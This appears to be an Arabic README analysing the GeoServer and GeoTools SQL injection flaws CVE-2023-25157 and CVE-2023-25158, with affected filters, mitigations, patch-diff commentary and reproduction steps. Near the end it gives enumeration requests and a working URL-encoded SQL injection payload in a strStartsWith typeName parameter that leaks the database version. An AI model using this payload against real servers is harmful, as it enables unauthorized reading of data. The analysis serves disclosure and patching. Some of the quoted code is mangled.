
GeoServer و GeoTools حقن SQL (CVE-2023-25157 و CVE-2023-25158)
يحتوي هذا المستودع على وصف تفصيلي وخطوات تكرار لثغرات حقن SQL الموجودة في منصة GeoServer ومكتبة GeoTools. تم تعيين المعرف CVE-2023-25157 لـ GeoServer و CVE-2023-25158 لـ GeoTools.
GeoServer هو خادم برمجي مفتوح المصدر مكتوب بلغة Java يوفر القدرة على عرض وتحرير ومشاركة البيانات الجغرافية المكانية. وهو مصمم ليكون حلاً مرنًا وفعالًا لتوزيع البيانات الجغرافية المكانية من مجموعة متنوعة من المصادر مثل قواعد بيانات نظام المعلومات الجغرافية (GIS)، والبيانات المستندة إلى الويب، ومجموعات البيانات الشخصية.
يلتزم GeoServer بمعايير Open Geospatial Consortium (OGC) لمشاركة البيانات، بما في ذلك Web Feature Service (WFS) و Web Map Service (WMS) و Web Coverage Service (WCS). يعني هذا الالتزام بالمعايير أن البيانات من GeoServer يمكن استخدامها في مجموعة واسعة من التطبيقات، من برامج GIS المبنية خصيصًا إلى الحلول الجاهزة.
تم بناء GeoServer بشكل أساسي على إطار Spring Framework، ومع ذلك، يستخدم أيضًا عددًا من المكتبات والأطر الأخرى، بما في ذلك:
GeoTools: مكتبة Java مفتوحة المصدر توفر أدوات للبيانات الجغرافية المكانية. يستخدم GeoServer مكتبة GeoTools للعديد من وظائفه الأساسية، مثل قراءة البيانات وكتابتها وتحويلها.الثغرات المعنية مغروسة بعمق داخل تعبيرات الفلتر والوظائف المحددة بواسطة معايير Open Geospatial Consortium (OGC). تشكل هذه التعبيرات العمود الفقري للاستعلام عن البيانات الجغرافية المكانية ومعالجتها، وتلعب دورًا محوريًا في وظائف أنظمة مثل GeoServer و GeoTools.
عند استغلال هذه الثغرات، يمكن أن تؤدي إلى خروقات أمنية خطيرة. يعد الكشف غير المصرح به عن المعلومات مصدر قلق رئيسي، حيث يمكن للمهاجمين الوصول إلى البيانات الحساسة المخزنة في قاعدة البيانات. التعديل غير المصرح به هو نتيجة محتملة أخرى، حيث يمكن للمهاجمين معالجة البيانات لصالحهم. علاوة على ذلك، يمكن لهذه الثغرات أيضًا تسهيل تعطيل الخدمة، وقد يؤدي الاستغلال الناجح إلى عدم توفر الخدمة.
يقدم ما يلي تحليلاً متعمقًا لكل ثغرة تم تحديدها. يتم استكشاف كل ثغرة بالتفصيل، ومناقشة خصائصها المحددة، والظروف التي تؤدي إلى ظهورها، والتأثيرات المحتملة لاستغلالها. فيما يلي تفصيل مفصل للثغرات الموجودة في GeoServer:
PropertyIsLike filter: هذه الثغرة موجودة عند استخدام فلتر PropertyIsLike مع حقل نصي (String field) بالاقتران مع أي مخزن قائم على قاعدة بيانات علائقية، أو مخزن بيانات PostGIS مع تمكين وظائف الترميز، أو أي فسيفساء صور مع فهرس مخزن في قاعدة بيانات علائقية.strEndsWith function: تنشأ هذه الثغرة عند استخدام دالة strEndsWith مع مخزن بيانات PostGIS مع تمكين وظائف الترميز.strStartsWith function: توجد هذه الثغرة عند استخدام دالة strStartsWith مع مخزن بيانات PostGIS مع تمكين وظائف الترميز.FeatureId filter: هذه الثغرة موجودة عند استخدام فلتر FeatureId مع أي جدول قاعدة بيانات يحتوي على عمود مفتاح أساسي نصي (String primary key) وعند تعطيل البيانات المعدة (prepared statements).jsonArrayContains function: توجد هذه الثغرة عند استخدام دالة jsonArrayContains مع حقل نصي (String) أو JSON ومع مخزن بيانات PostGIS أو Oracle (فقط في إصدارات GeoServer 2.22.0 والإصدارات الأحدث).DWithin filter: يتم اكتشاف هذه الثغرة عند استخدام فلتر DWithin مع مخزن بيانات Oracle.وفيما يلي تفصيل مفصل للثغرات الموجودة في GeoTools:
PropertyIsLike filter:
strEndsWith function:
strStartsWith function:
FeatureId filter:
jsonArrayContains function:
DWithin filter:
CVE-2023-25157 GeoServer SQL Injection.CVE-2023-25158 GeoTools SQL Injection.الإجراء الموصى به لكل من ثغرة GeoServer SQL Injection (CVE-2023-25157) وثغرة GeoTools SQL Injection (CVE-2023-25158) هو الترقية إلى الإصدارات المشار إليها أو الأحدث. إذا تم إتمام هذه الترقية، فلا حاجة لخطوات إضافية. ومع ذلك، بالنسبة لأولئك الذين قد يجدون صعوبة في الترقية فورًا، قدم فريق Geo بعض الحلول البديلة أدناه.
تعطيل إعداد وظائف الترميز لمخزن بيانات PostGIS لتخفيف ثغرات strEndsWith و strStartsWith (مثل الفلاتر ليس لها تخفيف، إذا كان هناك حقل نصي في نوع المعلم المنشور).
تمكين إعداد البيانات المعدة (preparedStatements) لمخزن بيانات PostGIS لتخفيف ثغرة FeatureId.```java
Map<String, Object> params = new HashMap < >();
params.put("dbtype", "postgis");
params.put("host", "localhost");
params.put("port", 5432);
params.put("schema", "public");
params.put("database", "database");
params.put("user", "postgres");
params.put("passwd", "postgres");
params.put("preparedStatements", true); // mitigation
params.put("encode functions", false); // mitigation
DataStore dataStore = DataStoreFinder.getDataStore(params);
- كممارسة جيدة لتقليل سطح الهجوم، من المهم إعطاء حساب قاعدة البيانات المستخدم لمجموعات الاتصال الحد الأدنى المطلوب من الامتيازات (مثل القراءة فقط ما لم يتم استخدام WFS-T/importer/REST granule harvesting، وتقييد الوصول فقط إلى المخططات والجداول اللازمة للاستخدام الإنتاجي)
- لا يوجد إجراء تخفيف متاح لمرشح `PropertyIsLike`، يمكنك اختيار تعطيل DataStores الخاصة بقاعدة البيانات حتى تتمكن من الترقية.
- لا يوجد إجراء تخفيف متاح لـ `DWithin` مع Oracle DataStore، يمكنك اختيار تعطيل DataStores الخاصة بـ Oracle حتى تتمكن من الترقية.
### <b>تحليل التصحيح: مشكلة GitHub والالتزامات ذات الصلة</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
الروابط أدناه توفر العديد من مشكلات JIRA ذات الصلة بثغرات حقن SQL الموجودة في كل من GeoServer و GeoTools. توفر هذه الروابط إمكانية الوصول إلى بيانات ومناقشات وحلول مقترحة مهمة تتعلق بهذه الثغرات المحددة.
- [GEOS-10842: JDBCConfig: escape user inputs in SQL queries](https://osgeo-org.atlassian.net/browse/GEOS-10842)
- [GEOS-10839: JDBCConfig: add JDBC Configuration parameter to disable SQL comments and pretty-printing](https://osgeo-org.atlassian.net/browse/GEOS-10839)
- [GEOT-7302: Escape user inputs in SQL queries](https://osgeo-org.atlassian.net/browse/GEOT-7302)
عند النظر إلى الالتزام [`geoserver/geoserver@145a8af`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)، يمكن رؤية التغييرات التالية بوضوح، على التوالي:
- في [`ConfigDatabase.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java)، هناك إضافات لحقل خاصية وتغييرات في المنشئات لتضمين حقل الخاصية هذا. يسمح هذا بمزيد من التخصيص لتكوين قاعدة البيانات، مما قد يسمح بإجراءات أمان معززة. [`NamedParameterJdbcTemplate`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html) هو فئة يقدمها إطار Spring والتي تضيف دعمًا لبرمجة عبارات JDBC باستخدام معلمات مسماة، بدلاً من برمجة عبارات JDBC باستخدام وسائط العناصر النائبة الكلاسيكية ('؟'). في الالتزام، يتم تحديث منشئ `ConfigDatabase` لأخذ `DataSource` وإنشاء `NamedParameterJdbcTemplate` منه. تعمل المعلمات المسماة على تحسين قابلية القراءة ويمكنها أيضًا منع هجمات حقن SQL لأنها توضح أن الوسيطة معلمة، وليست جزءًا من أمر SQL.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-1b49bc6af3f36da2ebf7a0d8d3af3fa3697ccee91bf67a690f99837ee2730bed)```java
/* (c) 2014 Open Source Geospatial Foundation - all rights reserved
* (c) 2001 - 2013 OpenPlans
* This code is licensed under the GPL 2.0 license, available at the root
* application directory.
*/
package org.geoserver.jdbcconfig.internal;
// import some packages...
import org.geoserver.jdbcloader.JDBCLoaderProperties;
public class ConfigDatabase implements ApplicationContextAware {
public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
private static final int LOCK_TIMEOUT_SECONDS = 60;
private Dialect dialect;
private JDBCLoaderProperties properties;
// rest of the codebase
protected ConfigDatabase() {
//
}
public ConfigDatabase(
JDBCLoaderProperties properties,
DataSource dataSource,
XStreamInfoSerialBinding binding) {
this(properties, dataSource, binding, null);
}
public ConfigDatabase(
JDBCLoaderProperties properties,
final DataSource dataSource,
final XStreamInfoSerialBinding binding,
CacheProvider cacheProvider) {
this.properties = properties;
this.binding = binding;
this.template = new NamedParameterJdbcTemplate(dataSource);
// cannot use dataSource at this point due to spring context config hack
يبدو أن ثغرة حقن SQL الفعلية قد تم إصلاحها من خلال بناء وتنفيذ SQL أكثر أمانًا، وتحديدًا باستخدام استعلامات ذات معاملات (parameterized queries) بدلاً من تسلسل السلاسل النصية (string concatenation)، كما هو واضح في التغييرات التي تم إجراؤها على استدعاءات template.queryForObject. بدلاً من استخدام sql.toString()، يتم استخدام المتغير sql نفسه، والذي يبدو أنه عبارة عن عبارة SQL مبنية بشكل آمن.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java```java // count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);
- يتم استبدال كائن `sql` من نوع `StringBuilder` في [`QueryBuilder.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java) بكائن من نوع `String`. يمكن أن يكون هذا التغيير مهمًا في منع هجمات حقن SQL (SQL Injection) حيث أن كائنات `StringBuilder` القابلة للتغيير قد تؤدي إلى تعديلات غير مقصودة أو خبيثة لاستعلام SQL. واستبدالها بكائن `String` غير قابل للتغيير يمكن أن يساعد في منع هذه التعديلات وبالتالي منع حقن SQL.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-a393e831a86b6020d56c521d7b9135179daa804e2cb435b19d85d76eb5d0544bL131-R131)```java
// private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
/*
* Start with the oid and id from the object table selecting for type and the filter.
*
* Then left join on oid for each property to sort by to turn it into an attribute.
*
* The sort each of the created attribute.
*/
escapeComment إلى الفئة Dialect.java. تأخذ هذه الطريقة سلسلة تعليق وتقوم بهروب الأحرف التي قد تكون خطيرة فيها. على وجه التحديد، يبدو أنها تهرب حرفي بداية ونهاية تعليق SQL ('/*' و '*/')، واللذان يُستخدمان في بعض هجمات حقن SQL.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java /** Escapes the contents of the SQL comment to prevent SQL injection. / public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\*"); }
- إضافة تعليقات إلى SQL: تمت إضافة طريقة جديدة `appendComment` إلى الفئة [`Dialect.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java) لإلحاق الكائنات بـ SQL كتعليق. إذا لم يكن وضع التصحيح (debug) مفعّلاً، فتقوم هذه الطرق ببساطة بإرجاع SQL الأصلي. إذا كان وضع التصحيح مفعّلاً، فإنها تُلحق تمثيل السلسلة النصية للكائنات المقدّمة بـ SQL في شكل تعليق. يتم تخطي التعليقات بأمان باستخدام طريقة `escapeComment`.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-b224c54b2d06ede45d4a45d34d64452aaeae70fbe60210e800d85df98a60e432R55-R65)```java
/** Appends the objects to the SQL in a comment if debug mode is enabled. */
public StringBuilder appendComment(StringBuilder sql, Object...objects) {
if (!debugMode) {
return sql;
}
sql.append(" /* ");
for (Object object: objects) {
sql.append(escapeComment(String.valueOf(object)));
}
return sql.append(" */\n");
}
/** Appends the objects to the SQL in an comment if debug mode is enabled. */
public StringBuilder appendComment(Object sql, Object...objects) {
return appendComment((StringBuilder) sql, objects);
}
/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
return sql.append(debugMode ? ifEnabled : ifDisabled);
}
إلحاق السلاسل النصية بـ SQL بشكل شرطي: تمت إضافة طريقة appendIfDebug إلى الفئة Dialect. تقوم هذه الطريقة بإلحاق واحدة من سلسلتين نصيتين مقدمتين بـ SQL اعتمادًا على ما إذا كان وضع التصحيح (debug) مفعّلاً. في الفئة Dialect.java، تمت إضافة حقل debugMode وطريقة setDebugMode() لتغيير حالته. ثم يُستخدم وضع التصحيح هذا في طريقة detect().
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; }
public boolean isDebugMode() {
return debugMode;
}
public void setDebugMode(boolean debugMode) {
this.debugMode = debugMode;
}
}
عند النظر إلى الالتزام [`geotools/geotools@64fb4c4`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)، يمكن رؤية التغييرات التالية بوضوح، على التوالي:
- إضافة الحقل `escapeBackslash` في صنف [`modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e) هو إجراء احترازي لمنع أشكال معينة من حقن SQL حيث يُستخدم حرف الشرطة المائلة للخلف (backslash) لتجنب الأحرف الخاصة في بناء جملة SQL. من خلال توفير خيار تجنب الشرطة المائلة للخلف في سلاسل النصوص الحرفية، يسمح المطورون للتطبيق بمعاملة أحرف الشرطة المائلة للخلف كنص عادي بدلاً من أحرف تجنب، مما يحد بدوره من احتمالات حقن SQL.
تعمل هذه التغييرات معًا لمنع حقن SQL من خلال ضمان أن الأحرف الخاصة في سلاسل النصوص الحرفية (مثل علامات الاقتباس المفردة والمزدوجة والشرطة المائلة للخلف) يتم تجنبها بشكل صحيح قبل تضمينها في استعلام SQL. هذه طريقة شائعة لتخفيف ثغرات حقن SQL. عند تعيين `escapeBackslash` إلى `true`، سيتم تجنب الشرطة المائلة للخلف في سلاسل النصوص الحرفية عند استدعاء طريقة [`escapeLiteral()`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7R36-R49) من صنف [`EscapeSql`](https://github.com/geotools/geotools/blob/2da7f4f8cc746dc3d4a31a6323a76797a99e7997/modules/library/jdbc/src/main/java/org/geotools/jdbc/EscapeSql.java#L28). تُستخدم هذه الطريقة في مواضع مختلفة في صنف [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) لتجنب سلاسل النصوص الحرفية قبل تضمينها في استعلام SQL. على سبيل المثال، [السطر 1762](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR1761-R1762)```java
// single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);
هي إحدى الأماكن التي يتم فيها استدعاء هذه الطريقة، وحيث يكون إعداد escapeBackslash ساري المفعول. في الكود الأصلي، كان التطبيق يستبدل علامات الاقتباس المفردة يدويًا بعلامتي اقتباس مفردتين، وهي طريقة شائعة لتخطي علامات الاقتباس المفردة في SQL. هذا مهم لأن علامات الاقتباس المفردة غير المخططة يمكن أن تسمح للمهاجم بإنهاء سلسلة نصية مبكرًا وإلحاق أوامر SQL خاصة به، مما يؤدي إلى ثغرة حقن SQL.
في الكود المعدل، بدلاً من استبدال علامات الاقتباس المفردة يدويًا، يقوم التطبيق الآن باستدعاء طريقة escapeLiteral() من الفئة EscapeSql.java. هذه الطريقة مصممة لتخطي ليس فقط علامات الاقتباس المفردة، ولكن أيضًا الخطوط المائلة العكسية، وربما علامات الاقتباس المزدوجة بناءً على معاملاتها:```java
public static String escapeLiteral(
String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
// ' --> ''
String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
if (escapeBackslash) {
// \ --> \
escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\");
}
if (escapeDoubleQuote) {
// " --> "
escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\"");
}
return escaped;
من خلال القيام بذلك، يكون التطبيق قادرًا على ضمان هروب جميع الأحرف الخاصة في سلسلة SQL بشكل صحيح، وهو نهج أكثر قوة وأمانًا لمنع حقن SQL.
- التغييرات في طريقة `convertToSQL92`: تقوم طريقة `LikeFilterImpl.convertToSQL92` بتحويل نمط من بناء جملة SQL القياسي 'LIKE' إلى بناء جملة SQL-92. في هذا الالتزام، أضافوا معاملًا جديدًا إلى هذه الطريقة. التغيير من الطريقة في فئة [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) في [السطر 547](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR546-R547):```java
// String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);
يبدو أنه يضيف علامة (flag) تؤثر على عملية تحويل النمط. سابقًا، لم يتضمن استدعاء الدالة المعلمة false في النهاية. يُفترض أن هذه القيمة false مرتبطة بما إذا كانت بعض الأحرف في سلسلة literal ستهرب أثناء عملية التحويل أم لا. يمكن أن يساعد الهروب (escaping) في منع حقن SQL من خلال ضمان ألا يتم تفسير الأحرف الخاصة في سلسلة literal كجزء من بناء جملة SQL، بل كقيم نصية بسيطة.
out.write() بـ writeLiteral(): استبدال out.write() بـ writeLiteral() هو تغيير رئيسي آخر. الدالة out.write() تكتب ببساطة السلسلة النصية المعطاة إلى تيار الإخراج كما هي، دون أي معالجة إضافية أو هروب. قد يؤدي هذا إلى حقن SQL إذا كانت السلسلة تحتوي على أي بناء جملة SQL غير مهرب.```java
writeLiteral(pattern);من ناحية أخرى، من المفترض أن تطبق `writeLiteral()` شكلاً من أشكال الهروب أو التعقيم على السلسلة النصية قبل كتابتها إلى تيار الإخراج، مما يقلل من خطر حقن SQL. كما أن هذا التغيير يستبدل عملية كتابة مباشرة باستدعاء `writeLiteral()`، والتي من المحتمل أن تتضمن احتياطات لمنع حقن SQL.```java
// out.write(attValues.get(j).toString());
writeLiteral(attValues.get(j));
لاستغلال هذه الثغرات بشكل صحيح، أولاً، يجب الحصول على:
على التوالي. لذلك، يتم إرسال الطلب التالي إلى الخادم الهدف للحصول على أسماء الميزات المتاحة.``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

بعد الحصول على أسماء الميزات المتاحة، نحتاج إلى إرسال طلب HTTP التالي لجلب الخصائص المتاحة للميزات المتاحة ذات الصلة.```
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

بعد طلبي HTTP الموضحين أعلاه، نقوم بتعداد جميع أسماء الميزات المتاحة وأسماء الخصائص المرتبطة بهذه الميزات. بعد هذه المرحلة، يمكننا تنفيذ عملية الاستغلال عن طريق إرسال طلب HTTP خبيث محقون بحمولة SQL إلى الخادم لأي خاصية تم جلبها.``` GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName==strStartsWith%28%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

### <b>الاستنتاج</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
في الختام، يُعد اكتشاف ثغرات حقن SQL هذه في GeoServer وGeoTools، كما هو موضح في CVE-2023-25157 وCVE-2023-25158، تذكيرًا صارخًا بالتهديدات المستمرة في المشهد الرقمي. هذه الثغرات، الموجودة داخل تعبيرات مرشح OGC الأساسية وتعبيرات الدوال، لديها القدرة على التسبب في اضطرابات كبيرة ووصول غير مصرح به إلى البيانات أو تعديلها.
لمزيد من المعلومات حول معالجة هذه الثغرات، يُرجى زيارة الموارد التالية:
- الالتزام المستخدم لإصلاح الثغرة: [geoserver/geoserver@145a8af](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d)
- الالتزام المستخدم لإصلاح الثغرة: [geotools/geotools@64fb4c4](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)
- [ثغرة حقن SQL في مرشح OGC في GeoServer](https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html) و [ثغرة حقن SQL في مرشح OGC في GeoTools](http://geotoolsnews.blogspot.com/2023/02/geotools-274-released.html)
- [قاعدة بيانات استشارات GitHub (مراجعة GitHub): حقن SQL في GeoServer](https://github.com/advisories/GHSA-7g5f-wrx8-5ccf)، [قاعدة بيانات استشارات GeoServer: حقن SQL في GeoServer](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) و [قاعدة بيانات استشارات GeoTools: حقن SQL في GeoTools](https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m)
- [استشارة NIST لـ GeoServer: CVE-2023-25157](https://nvd.nist.gov/vuln/detail/CVE-2023-25157) و [استشارة NIST لـ GeoTools: CVE-2023-25158](https://nvd.nist.gov/vuln/detail/CVE-2023-25158)
- [استشارة MITRE لـ GeoServer: CVE-2023-25157](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25157) و [استشارة MITRE لـ GeoTools: CVE-2023-25158](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25158)